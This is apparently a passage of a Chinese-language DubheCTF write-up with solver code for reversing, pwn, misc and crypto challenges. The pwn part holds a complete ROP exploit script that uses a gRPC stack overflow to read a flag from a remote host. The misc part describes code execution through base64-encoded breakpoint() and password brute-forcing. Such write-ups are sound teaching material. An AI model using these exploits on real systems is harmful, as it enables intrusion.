'sub23.java', 'sub22.java', 'sub21.java', 'sub20.java', 'sub19.java', 'sub18.java', 'sub17.java', 'sub16.java', 'sub15.java', 'sub14.java', 'sub13.java', 'sub12.java', 'sub11.java', 'sub10.java', 'sub8.java', 'sub7.java', 'sub5.java', 'sub4.java', 'sub3.java', 'sub_1.java', 'sub_0.java']
table=['Bundle','package','import','View','/* rena','null) {','view','iew','ew) {']
def read_java(name):
java_file_path = name
try:
with open(java_file_path, 'rb') as file:
return file.read();
except FileNotFoundError:
print("File not found.")
except IOError:
print("Error reading the file.")
def get_next_file_name(context,next_name,pos):
pattern = next_name
#print(next_name)
match = re.search(pattern.encode(), context)
start_pos = match.start()
content = context[max(start_pos - 650, 0):start_pos-80].decode('utf-8')
lines = content.split('\n')
java_file='''
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
'''
java_file+=f'class f{pos}'+'{'
def_head=f'public static String f{pos}(String str2) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException \n'+'{\n'
java_file+=(def_head)
for line in lines:
x=1
for i in table:
if i in line:
x=0
if x==1:
if 'bundle' in line:
x=line.replace('bundle.putString(str, ','str3=(')
java_file+=x+'\n'
else:
java_file+=line+'\n'
java_file+=(f'return str3;\n')
java_file+=('}\n}\n')
java_file_name=f'./out_java/f{pos}.java'
#print(java_file)
with open(java_file_name,'w+') as f:
f.write(java_file)
def read_encode(name,path,pos):
path=path.replace('java','class')
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(".java"):
# 如果文件是以 .java 结尾的,则打印文件路径
#print(file)
if file == name:
x=(os.path.join(root, file).replace('\\','/'))
data=read_java(x)
get_next_file_name(data,path,pos)
for i in range(1,257):
read_encode(call_list[i],call_list[i+1],i)
导入工程,然后手修一下错误就行
for i in range(1,257):
print(f'str=f{i}.f{i}(str);')
最后sha1一下
public void mo2618o0oOO(View view, Bundle bundle) {
super.mo2618o0oOO(view, bundle);
Bundle bundle2 = m6073OoOoo();
String string = bundle2 != null ? bundle2.getString(m6035I11(AbstractC2511Oo0o0.f8425lIIl)) : null;
((TextView) view.findViewById(AbstractC2512lIIl.f84291l1l)).setText("DubheCTF{" + AbstractC0054oo0OO.m25731l1l(MessageDigest.getInstance("SHA1").digest(string.getBytes(C00591l1l.f808oOoO0)), null, 1, null) + '}');
Toast.makeText(m6101oooOO(), "Congratulations!", 0).show();
}
DubheCTF{20c21afe96f05b02430a017a550bfce5addb6fe2}
ezVK
int dec(uint32_t* v, uint32_t* key)
{
unsigned int l = v[0];
unsigned int r = v[1];
unsigned int i = 1;
unsigned int sum = DELTA*40;
while (i <= 40)
{
i++;
unsigned int v112 = ~(l << 3);
unsigned int v114 = l >> 5;
unsigned int v115 = v112 & v114;
unsigned int v117 = l << 3;
unsigned int v119 = l >> 5;
unsigned int v120 = ~v119;
unsigned int v121 = v117 & v120;
unsigned int v122 = v115 | v121;
unsigned int v125 = v122 ^ (~l);
unsigned int v127 = l << 3;
unsigned int v129 = l >> 5;
unsigned int v130 = v127 ^ v129;
unsigned int v131 = v130 & v125;
unsigned int v140 = key[(sum >> 11) & 4] + sum;
unsigned int v141 = ~v140;
unsigned int v143 = l >> 3;
unsigned int v145 = l << 2;
unsigned int v146 = v143 & v145;
unsigned int v147 = ~v146;
unsigned int v148 = v141 | v147;
unsigned int v149 = ~v148;
unsigned int v155 = v131 ^ v149;
r -= v155;
sum -= DELTA;
unsigned int v50 = r << 3;
unsigned int v51 = ~v50;
unsigned int v54 = r >> 5;
unsigned int v55 = v51 & v54;
unsigned int v57 = r << 3;
unsigned int v59 = r >> 5;
unsigned int v60 = ~v59;
unsigned int v62 = v55 | (v57 & v60);
unsigned int v65 = v62 ^ (~r);
unsigned int v67 = r << 3;
unsigned int v70 = v67 ^ (r >> 5);
unsigned int v71 = v70 & v65;
unsigned int v88 = key[sum & 4] + sum;
unsigned int v89 = ~v88;
unsigned int v91 = r >> 3;
unsigned int v94 = r << 2;
unsigned int v96 = ~(v91 & v94);
unsigned int v97 = v96 | (v89);
unsigned int v98 = ~v97;
unsigned int v104 = v71 ^ v98;
l -= v104;
}
v[0] = l;
v[1] = r;
return 0;
}
int main()
{
uint32_t key[] = { 1214346853 ,558265710 ,559376756 ,1747010677 ,1651008801 };
unsigned char dword_7FF7C2D3100110[] =
{
0xAF, 0x72, 0x5B, 0x18, 0xC6, 0xD2, 0x31, 0x06, 0xCC, 0x33,
0x8B, 0xDE, 0x9F, 0xCD, 0xEB, 0x31, 0x33, 0x8B, 0xDB, 0x05,
0xD0, 0x77, 0x8D, 0x0A, 0x11, 0x61, 0x5C, 0x86, 0x35, 0x23,
0x03, 0xBF, 0xA5, 0x28, 0x22, 0x72, 0x57, 0x3A, 0x83, 0xAD,
0x6F, 0x45, 0xC3, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int* dword_7FF7C2D31000 = (unsigned int*)dword_7FF7C2D3100110;
dec(&dword_7FF7C2D31000[0], key);
dec(&dword_7FF7C2D31000[2], key);
dec(&dword_7FF7C2D31000[4], key);
dec(&dword_7FF7C2D31000[6], key);
dec(&dword_7FF7C2D31000[8], key);
printf("%s", dword_7FF7C2D31000);
}
最后还有一个字节需要爆破一下,大致猜得到是符号,然后就挨个试一下就行。
VMT
程序前面有很多反调试的地方 需要一一破解
绕过所有反调试的后 这里首先会验证传入的字符串的长度 如果是36位的 会改变程序的密钥值
后续发现加密算法其实是一个Sm4加密、
密钥和密文都是通过动态调试获得
cin = "1234567890abcdefaaaabbbbccccdddd"
out1 = "C137638ED9805156D98579453EF02F3DBC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"
rc = "6A61EF281A7473D6B1B431D0351F7E2242CFB9D6EC4E01EF656D6CF520F142821C7061EB843D5ABE378B394C4DC1298B"
cin2 = "aaaabbbbccccddddaaaabbbbccccddddtttt"
key = "4E305468697369533446346B334B3359"
out2 = "BC84E9D6953C3A34515DD329FFBA1022BC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"
for i in cin2:
print(hex(ord(i)),end=',')
print()
print("key:")
for i in bytes.fromhex(key):
print(hex(i)[2:],end='')
print()
from gmssl import sm3,sm4
def sm4_encrypt_or_decrypt(mode, key, data):
if mode == 'encrypt':
cryptor = sm4.CryptSM4(sm4.SM4_ENCRYPT,padding_mode=2)
cryptor.set_key(key, sm4.SM4_ENCRYPT)
elif mode == 'decrypt':
cryptor = sm4.CryptSM4(sm4.SM4_DECRYPT,padding_mode=3)
cryptor.set_key(key, sm4.SM4_DECRYPT)
else:
raise ValueError('Unsupported mode:', mode)
res=cryptor.crypt_ecb(data)
print(res)
return res
rkey = b"Pyu0Z8#bC5vqUFgt"
#sm4_encrypt_or_decrypt("encrypt",b"1111111111111111",b"1111111111111111")
sm4_encrypt_or_decrypt("decrypt",rkey,bytes.fromhex(rc))
Pwn
ggbond
先利用 pbtk 提取出 proto 文件
syntax = "proto3";
package GGBond;
option go_package = "./;ggbond";
service GGBondServer {
rpc Handler(Request) returns (Response);
}
message Request {
oneof request {
WhoamiRequest whoami = 100;
RoleChangeRequest role_change = 101;
RepeaterRequest repeater = 102;
}
}
message Response {
oneof response {
WhoamiResponse whoami = 200;
RoleChangeResponse role_change = 201;
RepeaterResponse repeater = 202;
ErrorResponse error = 444;
}
}
message WhoamiRequest {
}
message WhoamiResponse {
bytes message = 2000;
}
message RoleChangeRequest {
uint32 role = 1001;
}
message RoleChangeResponse {
bytes message = 2001;
}
message RepeaterRequest {
bytes message = 1002;
}
message RepeaterResponse {
bytes message = 2002;
}
message ErrorResponse {
bytes message = 4444;
}
然后编译
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. GGbond.proto
最后发现切换 role3 后,就是一个 base64 的栈溢出。在靶机不出网的情况下,直接多 nc 一个连接配合异常处理读 flag 即可
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = remote('127.0.0.1', 23334)
elf = ELF('./pwn')
import string
import itertools
import re
from pwn import *
from hashlib import sha256
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# The container will be destroyed after 20 seconds
# or when the 'p' socket connection is closed.
# The Docker container challenge's internal network cannot
# connect to the external network.
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
remote_ip = '1.95.2.225'
remote_port = 13337
def pow():
p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
for comb in all_combinations:
proof = comb+rev
digest = sha256(proof.encode()).hexdigest()
if target_digest == digest:
result = comb
break
p.send(result)
p.recvuntil(b' nc ')
rev = p.recvline().decode()
pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
result = re.search(pattern, rev)
target_ip = result.group(1)
target_port = int(result.group(2))
sleep(3)
return target_ip, target_port
target_ip, target_port=pow()
#target_ip = "127.0.0.1"
#target_port = 23334
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
def who():
channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
response = stub.Handler(request)
print("Response from Handler:", response)
def Role(ty):
channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
response = stub.Handler(request)
print("Response from Handler:", response)
def mes(data):
channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
request = ggbond_pb2.Request()
request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
stub.Handler(request)
who()
Role(3)
rax = 0x4101e6
rdi = 0x401537
rsi = 0x422398
rdx = 0x461bd1
syscall = 0x40452c
flag = 0x8005cb
buf = 0xC6D520
p = remote(target_ip, target_port)
rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(9) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(7) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
try:
mes(base64.b64encode(rop))
except:
while 1 : pr()
Misc
cipher
附件是一个vhd,所以我们只要知道主密钥,私钥,以及用户登录密码即可,利用advanced efs data recovery
先把vhd挂载到本机,只会扫描key得到主密钥和私钥,之后就是找用户密码即可
后来发现可以爆破,直接利用rockyou字典爆破即可
PS:
后来发现是有密码记录的
查看即可得到密码为
superman
ezPythonCheckin
打开附件知道他验证的逻辑是把我们的输入base64解码再当作py文件执行 我们输入base64编码 就行 这里我们直接输入breakpoint()的base64编码就能进入Pdb模式 然后获取shell cat flag就行
Crypto
签到
论文题,利用SageMath实现并解决CP-RSA问题。
# 原论文:https://www.iacr.org/archive/asiacrypt2015/94520198/94520198.pdf
# 辅助理解:https://eprint.iacr.org/2024/061.pdf
from sage.all import *
from hashlib import sha256
from subprocess import check_output
from re import findall
from time import time
from binteger import Bin
from Crypto.Util.number import *
def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
N = 0xbe9ccc83003bedf45421b58377b946f87dfd85be82124dc5d732070d77ef68e0231c3f34dc803a8984de0573db6d83ccea0bd53a885059a10cfa3764c658c4d42c5fa90ecad8573fff8f2c41e513278c59121e42ad83310fb22b4d20e7ada42c76f08891f38c92a1b1aac712bfa7d717a4c4802ed023f12c768972ca1b
e = 0x5dc97ed7250e57ce6fac4f57885c0538b1ea540fbaca79730470b6b990f7e861adc4c5fee3acdcd9ae9a2834b606ddfae01ade33edfa96a47a0ffc0036a4497a84c38b7cdac20c38f
beta = 0.25 # log(d, N)
Gamma = 0.42 # log(g, N)
XX = int(ceil(N^beta))
YY = int(ceil(N^0.5))
t = 10
print(f't = {t}')
n = 2
r = 1
r1 = 1
r2 = 2
y1 = beta
y2 = 1/2
nn = Gamma
R = [r1, r2]
Y = [y1, y2]
# check
for i in range(2):
print(Y[i]/R[i]<nn)
PR.<x,y>= PolynomialRing(ZZ)
E = int(inverse_mod(e, N-1))
def f(i1, i2):
return (E-x)^i1*(N-y)^i2*(N-1)^(max(t-i1-2*i2, 0))
my_polynomials = []
monomials = set()
Is = []
for i1 in range(100):
for i2 in range(100):
if 0<=y1*i1+y2*i2<=nn*t:
Is.append([i1, i2, i1+i2])
# 排序
for tt1 in range(len(Is)-1):
for tt2 in range(tt1+1, len(Is)):
if (Is[tt1][-1]>Is[tt2][-1]):
Is[tt1],Is[tt2] = Is[tt2],Is[tt1]
for tt1 in range(len(Is)-1):
for tt2 in range(tt1+1, len(Is)):
if (Is[tt1][-1]==Is[tt2][-1]) and Is[tt1][1]>Is[tt2][1]:
Is[tt1],Is[tt2] = Is[tt2],Is[tt1]
print(Is)
# 生成shift多项式
for each in Is:
i1, i2 = each[0], each[1]
# print(i1, i2)
tmp = f(i1, i2)
my_polynomials.append(tmp)
# 构造下三角矩阵:利用偏序
known_set = set()
new_polynomials = []
my_monomials = []
# construct partial order
while len(my_polynomials) > 0:
for i in range(len(my_polynomials)):
f = my_polynomials[i]
current_monomial_set = set(x^tx * y^ty for tx, ty in f.exponents(as_ETuples=False))
delta_set = current_monomial_set - known_set
if len(delta_set) == 1:
new_monomial = list(delta_set)[0]
my_monomials.append(new_monomial)
known_set |= current_monomial_set
new_polynomials.append(f)
my_polynomials.pop(i)
break
else:
raise Exception('GG')
my_polynomials = deepcopy(new_polynomials)
# 构造矩阵:置入多项式系数
nrows = len(my_polynomials)
ncols = len(my_monomials)
L = [[0 for j in range(ncols)] for i in range(nrows)]
print(f'矩阵规模:{nrows} x {ncols}')
print('my_monomials', my_monomials)
for i in range(nrows):
g_scale = my_polynomials[i](XX*x, YY*y) # f(XX*x, YY*y)
for j in range(ncols):
L[i][j] = g_scale.monomial_coefficient(my_monomials[j])
# LLL得到规约系数,联立解方程
L = Matrix(ZZ, L)
nrows = L.nrows()
L = flatter(L)
print('LLL done!')
# Recover poly
reduced_polynomials = []
for i in range(nrows):
g_l = 0
for j in range(ncols):
g_l += L[i][j] // my_monomials[j](XX, YY) * my_monomials[j] # 消常系数,代入未知量
reduced_polynomials.append(g_l)
print('done, next solve d')
# 结式
h1 = reduced_polynomials[0]
h2 = reduced_polynomials[1]
# 结式消y
g1 = h1.resultant(h2, y)
x = g1.univariate_polynomial().roots()
if x:
d = x[0][0]
flag = 'DubheCTF{{{:x}}}'.format(d & (2**128 - 1))
print(flag) # DubheCTF{b896a5fef7abec06cd2e6256be4ba40b}